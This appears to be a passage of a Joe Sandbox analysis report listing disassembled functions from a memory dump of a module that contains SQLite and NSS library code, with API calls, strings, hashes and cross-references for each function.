temporary table name must be unqualified, xrefs: 6C69F734
not authorized, xrefs: 6C69F957, 6C69F9BA
there is already an index named %s, xrefs: 6C69F9D7

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction ID: 1255b14ef4380ac43827adb80a6f06909c532f41f43d386865ac921e46136fcb
Opcode Fuzzy Hash: 51563e92b088905816beaf2c6879ae630bed8a3921f2d80ab397c46e7f4dd14b
Instruction Fuzzy Hash: 4F72D270E042068FDB14CF68C484BAABBF1FF49308F1681AEE8159B752D775E846CB95

Function 6C7B9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7BA114

Strings

database corruption, xrefs: 6C7BA029, 6C7BA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7BA01F, 6C7BA0E4, 6C7BA0FE
%s at line %d of [%.10s], xrefs: 6C7BA02E, 6C7BA10D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction ID: da07a82575ac2710d6a79aa99f8564130795733147af75f9fc0ff8aeb3fdcb87
Opcode Fuzzy Hash: c4bcfa86b5b5fd53f60fd4deac7f7883cecd3a234511465d0dccc4814eda9310
Instruction Fuzzy Hash: CE22BD716087418FC704CF29C69066AB7F1BFEA354F14CA2DE8EAA7A41D735E845CB42

Function 6C7D9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C698637,?,?), ref: 6C7D9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C698637), ref: 6C7D9ED6

Strings

database corruption, xrefs: 6C7D9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D9EC0
%s at line %d of [%.10s], xrefs: 6C7D9ECF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction ID: 82d363af36f3cf3adf0b1abcab4b806388aa89f1f293d32f91483abe052d2cdd
Opcode Fuzzy Hash: 2eafaa49d72956760c074bba5ed6f009c4362205e9e82764812510d6e5b27828
Instruction Fuzzy Hash: E381B231B001168FCB04CFA9CA94ADEB3F6EB58304F568569E819AB741EB30FD45CB91

Function 6C7E7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7E81BC

Strings

BINARY, xrefs: 6C7E8126
out of memory, xrefs: 6C7E835B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction ID: 39fbdbb0380f7102ee48fd11da76916ec52a1eb16662094ba2691b7812ff39fd
Opcode Fuzzy Hash: a1c60cfb89f12387eaa01a0e753d93b66187326ac522c1ee1ff1f6007564c128
Instruction Fuzzy Hash: 8652C072E05218DFDB14CF99C980BADBBB2FF49318F24816ED815AB751D731A846CB90

Function 6C769EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C769ED6

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C769EE4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F38

Part of subcall function 6C76D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C769F0B), ref: 6C76D03B
Part of subcall function 6C76D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C76D04E
Part of subcall function 6C76D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C76D07B
Part of subcall function 6C76D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C76D08E
Part of subcall function 6C76D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C769F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C769F59

Part of subcall function 6C769D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9
Part of subcall function 6C769D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE
Part of subcall function 6C769D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: bad160057d886b10b968fe3d962ad649b44b27ee821c3665d4970a51bcd57d4c
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 411126B5F042015BE7008B62AE08BDA7294AFA435CF150235EC0A9BF41FB62E9198291

Function 6C81CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C81D086
PR_Malloc.NSS3(00000001), ref: 6C81D0B9
PR_Free.NSS3(?), ref: 6C81D138

Strings

>, xrefs: 6C81CF5B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 13a0d4a1e6cfdbd721411b9d07651db0a325c49da596010c19560afa48b01692
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 03D15C62B4D54B4FEB35487C8EA13DAB7D38742374F684B3AD5218BFE6E61988438341

Function 6C7BAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction ID: a4b781b6ad608a73758e7f269b655ac748fb904b528cfdb515152e46e4c9eae0
Opcode Fuzzy Hash: 15268edb5095a25797b3540a90bb25094eddd61ed620695beeee187c3d8f6be5
Instruction Fuzzy Hash: 1FF1E071E011168FEB64CF29CA907AA77B0BB8A30CF55423DD915E7740EBB8A945CBC1

Function 6C7ADFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C685001,?), ref: 6C7AE2DA

Strings

W, xrefs: 6C7AE111

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction ID: 3b939c38caee9be39babf5dfc02a4dbbf2305ab1d490758dbbbbb2f7ae27b693
Opcode Fuzzy Hash: c90ed141cafab695da545212c8b4b18b56ae0cad1be69ad616b6fd6b133b892c
Instruction Fuzzy Hash: BEC11B31B0565E8BDB04CFA9C5907AA77B1BF86308F288679DC695BB41D7319823CBD0

Function 6C770E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C771052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C771086

Strings

h(wl, xrefs: 6C770E55, 6C770EC4, 6C770F3A, 6C770FA7
h(wl, xrefs: 6C771062, 6C77105D, 6C770F37, 6C771081, 6C771082

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(wl$h(wl
API String ID: 1297977491-2771381319
Opcode ID: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction ID: 65e7ae3893bd72b26defdd0560d98972bde0c0e819f1ae791ce694d4ef006eb1
Opcode Fuzzy Hash: 6f1fabc555b331707e9ed5a9fc20e061d31c69321e9e3e13b0e849d3f054c8cb
Instruction Fuzzy Hash: 50A13C71B0125E9FDF18CF99C994AEEB7B6BF89314B148129E905A7700D735EC11CBA0

Function 6C696F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C697034, 6C697052, 6C697070
noskipscan*, xrefs: 6C697067
sz=[0-9]*, xrefs: 6C697049
unordered*, xrefs: 6C69702B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction ID: a453264092c10c0c55b4eacab1cbf0cbadbfcfe86c208d029e9d8ef71a30a92d
Opcode Fuzzy Hash: 909b8d4b99217c650901670be5702054ef703c272be4b2b1b052e80c2136504d
Instruction Fuzzy Hash: B3718B72F042174BEB148E6DC8803DE73A39F85318F294239C959ABBD1D6719C46C7C9

Function 6C6B3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C6B3FAA, 6C6B4185
sqlite_temp_master, xrefs: 6C6B460F
sqlite_master, xrefs: 6C6B463F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction ID: 283e7b6ab516ee4b0c90d7b54dbea4a6c452f4130c2cdd75cb781d752b09fd88
Opcode Fuzzy Hash: 6280414f6535cd07746ccd56d9283906780171d5bd3901070249ff97280510ef
Instruction Fuzzy Hash: 37227931B495A64FD710CB2580602FA7BF29F47308B6C59A8CAE57FE43D271E861C784

Function 6C7EBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C7EC0B6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction ID: d19ca8e5ab7d8835e8cb3f22c6a03faa0fcfe3380b8eef3f491021f9444a0e5e
Opcode Fuzzy Hash: bfd7f69563407a0fe8e85c7a2d7c690803e131cac66719fbbf0b73acf8b2a0d5
Instruction Fuzzy Hash: E992C175A002498FDB04DF58CA80BAEBBB6FF49309F284168D815ABB91D735EC46CB54

Function 6C683D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C683EA9

Strings

0, xrefs: 6C683DAB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction ID: 762a249d0e28ccfe0ba0cbe50ab9407e5ee7950a58a1001f72367c34beb6812c
Opcode Fuzzy Hash: 087a2369ed756c5f4e9c8b22edbef884ce68c5b6faff197512378b6fe7e9bb58
Instruction Fuzzy Hash: 2A514A31E4A0798AEB25467D88683FFFBB19B82314F18433BC5A167AC0C274454787F4

Function 6C72EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C72F0F9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 9d4f4f22ab7c6869e5c78ffde2ec36101de8e4754b38b9c0ab9350ac5e91c9f2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 92918E71E0062A8BCB14CF68C9916AEB7F1FF85324F24462DD962A7BC1D734A905CB61

Function 6C752F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C777929), ref: 6C752FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C777929), ref: 6C752FE0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction ID: 69cade10a9bfeaa1887f986175cc9557b42edc487197aadc7e401bc3c7d018d9
Opcode Fuzzy Hash: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction Fuzzy Hash: 52512571A04A158FD7108E55CB84B6A73B2FB40318FA94279D90D9BB22CF35E862CB90

Function 6C69AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C69AE9F
winUnlock, xrefs: 6C69AE18

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction ID: fd2a494eda0c87c5e88903445edb87bd2e87ea7d47a3e0ceb37b198bdbe7e72d
Opcode Fuzzy Hash: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction Fuzzy Hash: 587191706083019FDB54CF28D894AABBBF5FF89318F14C629F98997242D734A985CBC1

Function 6C75ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

